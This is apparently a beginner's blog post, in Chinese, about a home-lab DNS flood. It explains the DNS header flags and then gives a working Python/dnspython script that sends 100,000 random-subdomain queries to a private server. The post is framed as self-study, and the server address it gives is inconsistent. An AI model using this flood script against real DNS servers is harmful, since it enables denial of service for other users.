一、

　　我是個菜B，慢慢摸索學習中。

　　安裝模塊 pip install dnspython

　　使用python調用dnspython模塊，寫了一個dns攻擊的小程序，目標IP為自己搭建的DNS服務器，並且可以獲取DNS的標誌位返回值，其中還可以使用程序查看返回值，其實沒卵用。

　　相關的DNS的報文格式大概如下：

（1）公共報文頭格式其中header報文頭是必須有的，其他的有沒有在報文頭裏有定義：

標識ID： 請求客戶端設置的16位標示，服務器給出應答的時候會帶相同的標示字段回來，這樣請求客戶端就可以區分不同的請求應答了。

QR 1個比特位用來區分是請求（0）還是應答（1）。

OPCODE 4個比特位用來設置查詢的種類，應答的時候會帶相同值，可用的值如下：

0 標準查詢 (QUERY)

1 反向查詢 (IQUERY)

2 服務器狀態查詢 (STATUS)

3-15 保留值，暫時未使用

AA 授權應答(Authoritative Answer) - 這個比特位在應答的時候才有意義，指出給出應答的服務器是查詢域名的授權解析服務器。

註意因為別名的存在，應答可能存在多個主域名，這個AA位對應請求名，或者應答中的第一個主域名。

TC 截斷(TrunCation) - 用來指出報文比允許的長度還要長，導致被截斷。

RD 期望遞歸(Recursion Desired) - 這個比特位被請求設置，應答的時候使用的相同的值返回。如果設置了RD，就建議域名服務器進行遞歸解析，遞歸查詢的支持是可選的。

RA 支持遞歸(Recursion Available) - 這個比特位在應答中設置或取消，用來代表服務器是否支持遞歸查詢。

Z 保留值，暫時未使用。在所有的請求和應答報文中必須置為0。

RCODE 應答碼(Response code) - 這4個比特位在應答報文中設置，代表的含義如下：

0 沒有錯誤。

1 報文格式錯誤(Format error) - 服務器不能理解請求的報文。

2 服務器失敗(Server failure) - 因為服務器的原因導致沒辦法處理這個請求。

3 名字錯誤(Name Error) - 只有對授權域名解析服務器有意義，指出解析的域名不存在。

4 沒有實現(Not Implemented) - 域名服務器不支持查詢類型。

5 拒絕(Refused) - 服務器由於設置的策略拒絕給出應答。比如，服務器不希望對某些請求者給出應答，或者服務器不希望進行某些操作（比如區域傳送zone transfer）。

6-15 保留值，暫時未使用。

問題數QDCOUNT 無符號16位整數表示報文請求段中的問題記錄數。

資源記錄數ANCOUNT 無符號16位整數表示報文回答段中的回答記錄數。

授權資源記錄數NSCOUNT 無符號16位整數表示報文授權段中的授權記錄數。

額外資源記錄數ARCOUNT 無符號16位整數表示報文附加段中的附加記錄數。

說句實話，我這種菜B真的是看不懂這些。

下面是我的小代碼，其實很簡單的：相關dnspython模塊可以參考https://www.cnblogs.com/nicholas-920610/articles/7149057.html

from  dns import message,query
import random
import string
import multiprocessing
import threading

def FlagCount(flags, pos):
    if int(flags/(2**pos))%2 == 1:
        return True
    else:
        return False

def GetFlags(flags):
    QR_pos = 15
    AA_pos = 10
    TC_pos = 9
    RD_pos = 8
    RA_pos = 7
    QR_flag = FlagCount(flags, QR_pos)
    AA_flag = FlagCount(flags, AA_pos)
    TC_flag = FlagCount(flags, TC_pos)
    RD_flag = FlagCount(flags, RD_pos)
    RA_flag = FlagCount(flags, RA_pos)
    flag_dic = {"QR":QR_flag, "AA":AA_flag, "TC":TC_flag, "RD":RD_flag, "RA":RA_flag}
    for flag,v in flag_dic.items():
        print(flag,‘:‘,v)

def attack(domain_name):
    server = ‘192.168.32.128‘
    port = 53
    dns_query = message.make_query(domain_name,‘A‘)
    response = query.udp(dns_query,server,port)
    # print(response)

def generate_random_name():
    ch = list(string.ascii_lowercase) + list(map(str,range(10)))
    rand_ch = random.sample(ch,random.randint(3,10))
    return ‘‘.join(rand_ch)

def start_attack():
    domain_name = generate_random_name() + ‘.hjc.com‘
    attack(domain_name)
    print(domain_name)

if __name__ == ‘__main__‘:
    p = multiprocessing.Pool(processes=multiprocessing.cpu_count())
    for _ in range(100000):
        p.apply_async(start_attack)
    p.close()
    p.join()
    # print(response)
    # for content in response.answer:
    #     print(content.to_text())
    # GetFlags(response.flags)

就是這個叼樣子，不成氣候

組成的隨機域名大致如下所示：

tozmgde7.hjc.com
u2js79.hjc.com
vru76f.hjc.com
9okeyptud.hjc.com
207lih.hjc.com

在我的DNS服務器192.168.5.128上開啟了BIND服務，並打開了query_log日誌，相關日誌請求樣子如下：

結合awk等命令統計了一下，一分鐘的請求量，如圖：

就是這樣子了，自己玩一玩，沒有實際測試過線上的攻擊額，我要努力向單位和生活中的大神們學習啊。

通過python的dnspython模塊實現DNS流量攻擊